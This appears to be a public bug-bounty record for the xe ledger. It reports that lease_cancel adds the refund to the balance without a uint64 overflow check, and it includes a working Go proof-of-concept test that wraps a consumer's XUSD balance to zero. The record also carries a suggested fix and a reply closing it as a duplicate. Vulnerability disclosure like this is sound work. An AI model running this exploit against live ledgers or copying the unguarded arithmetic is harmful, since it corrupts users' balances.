{"id":"XE-0938","kind":"bounty","visibility":"public","source":"web","source_repo":"","source_ref":"","source_url":"","reporter_id":13,"title":"lease_cancel refund arithmetic lacks the uint64 overflow guard other credit paths have","area":"leasing-ledger","claimed_tier":"minor","assessed_tier":null,"verdict":"duplicate","duplicate_of":"XE-0661","tracked":false,"internal_ref":"","internal_url":"","status":"closed","closed_reason":"duplicate","github_state":"","disclosed_at":null,"award_xe":null,"award_approved":false,"paid_ref":"","created_at":"2026-11-06T19:37:13.271724+00:00","updated_at":"2026-11-14T22:53:33.031826+00:00","source_created_at":null,"told_at":"2026-11-14T22:53:33.713667+00:00","status_changed_at":"2026-11-08T20:32:08.731025+00:00","url":"https://bounty.xe.network/XE-0938","body":"## Summary\r\nvalidateAndAddLeaseCancel is supposed to credit the consumer back the lease amount and refuse the block when that credit would wrap. At core/ledger.go:1852-1856 it computes expectedBal := oldBal + leaseBlock.Amount with no uint64 overflow guard, so a wrapping sum of 0 is accepted and the account is stored at 0. Receive at :1143-1146, settle, and force-settle all reject expectedBal < oldBal; lease_cancel is the admitted credit path that does not. The consumer reaches it by cancelling a lease after a wrapping pre-state (lease down to 0, then a receive R such that R+cost wraps). GitHub #43 is swap cannot unwind lease descendants and desk XE-0679 is the same wrap on the staged-validation path; this is the admitted lease_cancel credit path.\r\n\r\n## Affected components\r\ncore/ledger.go:1852-1856 validateAndAddLeaseCancel (oldBal+amount with no wrap check); core/ledger.go:1143-1146 receive overflow guard (the pattern lease_cancel lacks) at xe 02e9641b0ac64437f57e09d63301f88cce61a802.\r\n\r\n## Impact\r\nThe canceling account's XUSD is persisted as zero instead of the credited refund. Reachable after the consumer has a wrapping pre-state (lease to 0, then receive R such that R+cost wraps). Not network-exploitable by a stranger; the lease holder who can build that pre-state corrupts their own balance persistently.\r\n\r\n## PoC\r\n\r\n```go\r\npackage round3\r\n\r\nimport (\r\n\t\"fmt\"\r\n\t\"math\"\r\n\t\"testing\"\r\n\r\n\t\"github.com/xeprotocol/xe/core\"\r\n)\r\n\r\n// TestPoC_B5: lease_cancel refund uses oldBal+amount without the uint64\r\n// overflow guard receive/settle/force-settle all have.\r\nfunc TestPoC_B5(t *testing.T) {\r\n\tfmt.Printf(\"PROVENANCE: xe=%s file=poc/round3/b5_lease_cancel_wrap_test.go\\n\", pinXE)\r\n\tpass, detail := runB5(t)\r\n\tfmt.Println(detail)\r\n\tif pass {\r\n\t\tfmt.Println(\"PASS: lease_cancel accepted a wrapping expectedBal=0 and zeroed the consumer XUSD\")\r\n\t\tfmt.Println(\"VERDICT=CONFIRMED\")\r\n\t\treturn\r\n\t}\r\n\tfmt.Println(\"VERDICT=KILLED\")\r\n}\r\n\r\nfunc runB5(t *testing.T) (bool, string) {\r\n\tconsumer := mustKey(t)\r\n\tprovider := mustKey(t)\r\n\tdonor := mustKey(t)\r\n\r\n\tcertHash := hex64(0xab)\r\n\t_, ms := newTestLedger()\r\n\tl := core.NewLedger(ms, core.LedgerConfig{\r\n\t\tDifficulty:      0,\r\n\t\tTimestampWindow: 0,\r\n\t\tCertificateLookupFn: func(hash string) *core.CertificateInfo {\r\n\t\t\tif hash != certHash {\r\n\t\t\t\treturn nil\r\n\t\t\t}\r\n\t\t\treturn &core.CertificateInfo{\r\n\t\t\t\tProvider:             provider.Address(),\r\n\t\t\t\tPriceMultiplierMilli: 1000,\r\n\t\t\t}\r\n\t\t},\r\n\t})\r\n\r\n\tcost, err := core.LeaseCost(1, 0, 0, 60, 1000)\r\n\tif err != nil {\r\n\t\treturn false, \"LeaseCost: \" + err.Error()\r\n\t}\r\n\trefund := cost\r\n\t// After the lease, consumer XUSD is 0. Donor sends R such that R+cost wraps to 0.\r\n\tR := math.MaxUint64 - cost + 1\r\n\r\n\topenC := fundXUSD(t, l, consumer, cost)\r\n\tlease := signLease(t, consumer, openC.Hash, 0, cost, provider.Address(), certHash, 1, 0, 0, 60)\r\n\tif err := l.AddBlock(lease); err != nil {\r\n\t\treturn false, \"add lease: \" + err.Error()\r\n\t}\r\n\tafterLease := l.GetAssetBalances(consumer.Address())[\"XUSD\"]\r\n\r\n\topenD := fundXUSD(t, l, donor, R)\r\n\tsend := signSend(t, donor, openD.Hash, 0, R, consumer.Address(), \"XUSD\")\r\n\tif err := l.AddBlock(send); err != nil {\r\n\t\treturn false, \"add donor send: \" + err.Error()\r\n\t}\r\n\trecv := signReceive(t, consumer, lease.Hash, send.Hash, R, R, \"XUSD\")\r\n\tif err := l.AddBlock(recv); err != nil {\r\n\t\treturn false, \"add receive: \" + err.Error()\r\n\t}\r\n\tafterRecv := l.GetAssetBalances(consumer.Address())[\"XUSD\"]\r\n\r\n\twrapped := afterRecv + refund\r\n\tcancel := signCancel(t, consumer, recv.Hash, lease.Hash, wrapped, refund)\r\n\tcancelErr := l.AddBlock(cancel)\r\n\tafterCancel := l.GetAssetBalances(consumer.Address())[\"XUSD\"]\r\n\r\n\tdetail := fmt.Sprintf(\r\n\t\t\"cost=%d R=%d afterLease=%d afterRecv=%d wrapped_expectedBal=%d cancelErr=%v afterCancel=%d\",\r\n\t\tcost, R, afterLease, afterRecv, wrapped, cancelErr, afterCancel,\r\n\t)\r\n\r\n\tok := afterLease == 0 && afterRecv == R && wrapped == 0 && cancelErr == nil && afterCancel == 0\r\n\tif !ok {\r\n\t\treturn false, \"KILL: wrap cancel did not land. \" + detail\r\n\t}\r\n\treturn true, detail\r\n}\r\n```\r\n\r\n```\r\nPASS: lease_cancel accepted a wrapping expectedBal=0 and zeroed the consumer XUSD\r\n```\r\n\r\n## Suggested fix\r\nReject lease_cancel when oldBal+amount overflows uint64, matching the expectedBal < oldBal check already used on receive and settle.\r\n---","patch_refs":[],"thread":[{"id":3784,"source":"desk","source_ref":"reply:2526","author":"XE desk","team":true,"body":"Thanks. This is the same finding as https://bounty.xe.network/XE-0661, which was filed first; the programme pays the\nfirst verifiable submission, so this one closes as a duplicate. If you believe it is a different\nbug, file a new report that links https://bounty.xe.network/XE-0938 and says what differs; it is read like any other.","created_at":"2026-11-14T22:53:33.031826+00:00"}]}